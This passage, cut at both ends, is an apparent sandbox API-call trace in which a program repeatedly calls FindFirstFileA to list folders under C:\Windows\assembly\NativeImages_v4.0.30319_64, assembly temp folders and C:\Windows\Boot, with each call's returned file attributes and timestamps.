ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x139ef780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x139ef780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.112] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workd8194f73#\\a09a8f6704efe36ed2e7ec006a65d128\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7908310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a158e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a158e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.118] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a158e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a158e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.123] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Workfffcbcd8#\\8ef3d7e6809291cb84a980d3b5838e4e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb458e750, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a3ba40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a3ba40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.129] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a3ba40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a3ba40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.134] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml\\fb6b4d41d7ce9edebd6203a161832f44\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55695090, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a3ba40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a3ba40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.140] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a61ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a61ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.145] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a61ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a61ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.152] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a61ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a61ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.158] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a87d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a87d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.165] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13a87d00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13a87d00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.180] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.84e525b7#\\f6079e54a0e3317ef2f507e692819102\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7c4e150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13aade60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13aade60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.186] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13ad3fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13ad3fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.191] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml.Linq\\f64e54c058a7f03b91081ec68422c2e6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9558bf10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13ad3fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13ad3fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.196] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x13ad3fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13ad3fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.201] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b94-0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe955f360, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x13afa120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13afa120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.207] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13afa120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13afa120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.213] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomatio4e153cb6#\\86701376d7d601b26aab6a569b1bdd69\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8704450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13afa120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13afa120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.218] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b20280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b20280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.223] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationClient\\e4aec2199c025a5f8222ae9b7550c974\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7fe0250, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b20280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b20280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.228] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b20280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b20280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.233] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationProvider\\1af66d34b505ca36c35a3e8d91cbba7d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7011d6b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b463e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b463e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.239] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b463e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b463e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.244] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\UIAutomationTypes\\5dee7937ac1cb13daf57484f8cf36af6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70038e70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b463e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b463e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.253] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b6c540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b6c540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.257] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsBase\\46ff3d18994cf61508e0dcc57fef8b95\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6066e9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b6c540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b6c540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.263] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b926a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b926a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.269] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WindowsForm0b574481#\\da3bf1745f91cfd07f9fb1e899bde4d7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb8c85730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b926a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b926a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.275] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13b926a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13b926a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.280] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\WsatConfig\\93576f0aca370337022c4e4d07012e94\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5909a8d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13bb8800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13bb8800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.286] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13bb8800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13bb8800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.291] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XamlBuildTask\\fc28b565eb446da53e3e3a4448212913\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb91945f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13bb8800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13bb8800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.298] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13bde960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13bde960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.302] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x13bde960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13bde960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.308] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\temp\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x13bde960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13bde960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.314] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\tmp\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409415bd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x13c04ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13c04ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.315] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.316] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\DVD\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.316] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\DVD\\EFI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.318] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\DVD\\EFI\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8fb01be9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8fb01be9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.327] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\DVD\\PCAT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.328] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\DVD\\PCAT\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.339] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\EFI\\*", lpFindFileData=0x4abd70 | 